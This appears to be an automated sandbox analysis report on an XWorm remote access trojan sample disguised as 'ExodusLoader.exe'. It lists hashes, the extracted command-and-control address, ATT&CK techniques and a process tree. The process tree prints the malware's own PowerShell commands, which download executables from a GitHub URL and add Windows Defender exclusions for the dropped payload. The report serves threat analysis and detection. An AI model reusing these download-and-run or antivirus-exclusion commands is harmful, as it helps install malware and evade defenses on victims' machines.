xworm | ee854407da3d172d442c9aec8861d9e8fd4f7a5f8c4cbb785d7e55549a507234

Analysis

max time kernel
10s
max time network
7s
platform
windows10-2004_x64
resource
win10v2004-20250217-en
resource tags

arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
submitted
02/03/2025, 08:01

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General

Target

ExodusLoader.exe
Size

89KB
MD5

2f3405fa61bec944ed9d869adb6a37e3
SHA1

4a3c839b899809ba89a99eaadecf4da6d71e8256
SHA256

ee854407da3d172d442c9aec8861d9e8fd4f7a5f8c4cbb785d7e55549a507234
SHA512

72c8309a2c439adb3790aaf7198d5cdfa5591703a039ca84982752dfc43213a94885aab5a82fc0cfd78e161a792d2c1684e0cae7e4e7d772cc98be4aabdc33c0
SSDEEP

1536:77fbN3eEDhDPA/pICdUkbBtW7upvaLU0bI5taxKo0IOlnToIfAwWOn:X7DhdC6kzWypvaQ0FxyNTBfAg

Score

10^/10

xworm discovery execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

137.184.74.73:5000

Mutex

Y2rnj2CSRObOXXLb

Attributes

Install_directory
%ProgramData%
install_file
System.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/1380-72-0x00000000015A0000-0x00000000015AE000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 4 IoCs

flow	pid	Process
12	4600	powershell.exe
15	4600	powershell.exe
34	872	powershell.exe
35	872	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
4600	powershell.exe
872	powershell.exe
1188	powershell.exe
4912	powershell.exe

Downloads MZ/PE file 2 IoCs

flow	pid	Process
15	4600	powershell.exe
35	872	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1294999112-580688058-1763548717-1000\Control Panel\International\Geo\Nation	ExodusInject.exe

Executes dropped EXE 3 IoCs

pid	Process
1336	ExodusInject.exe
724	Exodus.exe
1380	AggregatorHost.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
13	raw.githubusercontent.com
15	raw.githubusercontent.com
35	raw.githubusercontent.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExodusLoader.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
3348	timeout.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
4600	powershell.exe
4600	powershell.exe
872	powershell.exe
872	powershell.exe
1188	powershell.exe
1188	powershell.exe
1188	powershell.exe
4912	powershell.exe
4912	powershell.exe
4912	powershell.exe

Suspicious use of AdjustPrivilegeToken 10 IoCs

description	pid	Process
Token: SeDebugPrivilege	4600	powershell.exe
Token: SeDebugPrivilege	872	powershell.exe
Token: SeDebugPrivilege	1336	ExodusInject.exe
Token: SeBackupPrivilege	2060	vssvc.exe
Token: SeRestorePrivilege	2060	vssvc.exe
Token: SeAuditPrivilege	2060	vssvc.exe
Token: SeDebugPrivilege	1188	powershell.exe
Token: SeDebugPrivilege	4912	powershell.exe
Token: SeDebugPrivilege	1380	AggregatorHost.exe
Token: SeDebugPrivilege	1380	AggregatorHost.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 1860 wrote to memory of 4616	1860	ExodusLoader.exe	87
PID 1860 wrote to memory of 4616	1860	ExodusLoader.exe	87
PID 4616 wrote to memory of 4600	4616	cmd.exe	88
PID 4616 wrote to memory of 4600	4616	cmd.exe	88
PID 4616 wrote to memory of 872	4616	cmd.exe	92
PID 4616 wrote to memory of 872	4616	cmd.exe	92
PID 4616 wrote to memory of 1336	4616	cmd.exe	100
PID 4616 wrote to memory of 1336	4616	cmd.exe	100
PID 4616 wrote to memory of 724	4616	cmd.exe	101
PID 4616 wrote to memory of 724	4616	cmd.exe	101
PID 1336 wrote to memory of 1188	1336	ExodusInject.exe	105
PID 1336 wrote to memory of 1188	1336	ExodusInject.exe	105
PID 1336 wrote to memory of 4912	1336	ExodusInject.exe	107
PID 1336 wrote to memory of 4912	1336	ExodusInject.exe	107
PID 1336 wrote to memory of 208	1336	ExodusInject.exe	112
PID 1336 wrote to memory of 208	1336	ExodusInject.exe	112
PID 208 wrote to memory of 3348	208	cmd.exe	114
PID 208 wrote to memory of 3348	208	cmd.exe	114

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\ExodusLoader.exe
"C:\Users\Admin\AppData\Local\Temp\ExodusLoader.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1860
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\96C2.tmp\96C3.tmp\96C4.bat C:\Users\Admin\AppData\Local\Temp\ExodusLoader.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4616
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Invoke-WebRequest -Uri 'https://github.com/ek4o/injector/raw/refs/heads/main/ExodusInject.exe' -OutFile 'C:\Users\Admin\AppData\Local\Temp\ExodusInject.exe'"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4600
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Invoke-WebRequest -Uri 'https://github.com/ek4o/injector/raw/refs/heads/main/Exodus.exe' -OutFile 'C:\Users\Admin\AppData\Local\Temp\Exodus.exe'"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:872
- - C:\Users\Admin\AppData\Local\Temp\ExodusInject.exe
    "C:\Users\Admin\AppData\Local\Temp\ExodusInject.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1336
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\AggregatorHost.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1188
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'AggregatorHost.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4912
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpBFA6.tmp.bat""
      4⤵
      Suspicious use of WriteProcessMemory
      PID:208
    - - C:\Windows\system32\timeout.exe
        
        timeout 3
        5⤵
        Delays execution with timeout.exe
        
        PID:3348
- - C:\Users\Admin\AppData\Local\Temp\Exodus.exe
    "C:\Users\Admin\AppData\Local\Temp\Exodus.exe"
    3⤵
    - Executes dropped EXE
    PID:724

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2060

C:\Users\Admin\AppData\Roaming\AggregatorHost.exe
C:\Users\Admin\AppData\Roaming\AggregatorHost.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1380

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
a2b24af1492f112d2e53cb7415fda39f

SHA1
dbfcee57242a14b60997bd03379cc60198976d85

SHA256
fa05674c1db3386cf01ba1db5a3e9aeb97e15d1720d82988f573bf9743adc073

SHA512
9919077b8e5c7a955682e9a83f6d7ab34ac6a10a3d65af172734d753a48f7604a95739933b8680289c94b4e271b27c775d015b8d9678db277f498d8450b8aff0

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
696e69fc5f6c7d9fc4dee7726816f00c

SHA1
055b872d5e4c43ce3ba9f65d8d800ba33e1c45b4

SHA256
a743647036f2b64a426d935f76edcfd3aa88c3bd50f67e8fb73fbd3cd02b630d

SHA512
036ea8486b33e57647ccacb9f33fcabd37b7921105f823c03590695a6af0b8e1f273dcf74294c00a02596f17e94e8f1ca7344e7fde3aa1c6cf742f644392055a

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
8e4e462e64126355db69af06ba8f774e

SHA1
279d1d08ad530bf8a249366c5d927e1533f77f1a

SHA256
c263a08e8768e9038dc462db8782f66ce94230ce8a372d7320e8eb7f862a3f76

SHA512
92bd1d207d3f9d139e949e47f70d69ef1be8d40c11b03fd2bebb22bfeb598b6065921a1f3ec931e8a4d4dfdb8974a8405f17a1b3f54e4fc549fd8ea1dd5fb353

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C:\Users\Admin\AppData\Local\Temp\96C2.tmp\96C3.tmp\96C4.bat

Filesize
491B

MD5
54436d8e8995d677f8732385734718bc

SHA1
246137700bee34238352177b56fa1c0f674a6d0b

SHA256
20c5e5f392f2ad19b9397fd074d117c87ca3da37f1151736dbd20322ea7e12c3

SHA512
57ffc0f920bbaf36bbd22ea90c14670f44766e4b81509f54b1dec1be4443e51d8bf0997198de0851e1ea4993e5d786e21c9c1f7f17c792da88eb6bb4a324f448

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C:\Users\Admin\AppData\Local\Temp\Exodus.exe

Filesize
507KB

MD5
470ccdab5d7da8aafc11490e4c71e612

SHA1
bc540c0ba7dcb0405a7b6c775f0a1b585d51c4b3

SHA256
849c0420722c1dabb927ff0ab70375bc1197ba73a7f04885460b609392bd319c

SHA512
6b3a09b785c02a57f6330cd6610f8a78b1f6a1689c14a190a9af4ad4ab4666f8a77d75c4c85a3af04693effdc970440ce8d62a4132f66471aaa250f9d90f2f7b

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C:\Users\Admin\AppData\Local\Temp\ExodusInject.exe

Filesize
227KB

MD5
38b7704d2b199559ada166401f1d51c1

SHA1
3376eec35cd4616ba8127b976a8667e7a0aac87d

SHA256
153825af8babb75361f4af359bfdd5e95cbdc7f263db5c4e70ac1da8f36bc564

SHA512
07b828073c8f80c5498501c8f64decb5effa702c8bc3d60a2f7d5de36d493b469cbbf413fb0c92c0aadd6ee139bfb75f3b9e936230212d42e57d2ec5671e9b27

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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lhk4blri.wuf.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

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C:\Users\Admin\AppData\Local\Temp\tmpBFA6.tmp.bat

Filesize
164B

MD5
0c8698ff2a07ef7967472e28da1e5285

SHA1
1eaa0b1d8a5c06c1be85e85ebfde059ac21f274a

SHA256
34ea4cf936fa2398fb482c80fd2ea1880201dd5809887fcf7f7573d9ca680782

SHA512
4fc5b24bd05f03b3d4897b94d95817bee5f41d68bdd395a2bb86f4c8b3198e8ce4cb07b149b6c68a4ebdeaee9d5bd0e537a92d5e4699d82e8193030c7e536605

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memory/872-20-0x00007FFF301A0000-0x00007FFF30C61000-memory.dmp

Filesize
10.8MB

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memory/872-30-0x00007FFF301A0000-0x00007FFF30C61000-memory.dmp

Filesize
10.8MB

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memory/872-32-0x00007FFF301A0000-0x00007FFF30C61000-memory.dmp

Filesize
10.8MB

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memory/872-35-0x00007FFF301A0000-0x00007FFF30C61000-memory.dmp

Filesize
10.8MB

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memory/1336-40-0x0000000000DD0000-0x0000000000E10000-memory.dmp

Filesize
256KB

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memory/1380-72-0x00000000015A0000-0x00000000015AE000-memory.dmp

Filesize
56KB

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memory/4600-18-0x00007FFF301A0000-0x00007FFF30C61000-memory.dmp

Filesize
10.8MB

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memory/4600-14-0x00007FFF301A0000-0x00007FFF30C61000-memory.dmp

Filesize
10.8MB

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memory/4600-13-0x00007FFF301A0000-0x00007FFF30C61000-memory.dmp

Filesize
10.8MB

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memory/4600-8-0x000002A96D940000-0x000002A96D962000-memory.dmp

Filesize
136KB

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memory/4600-2-0x00007FFF301A3000-0x00007FFF301A5000-memory.dmp

Filesize
8KB

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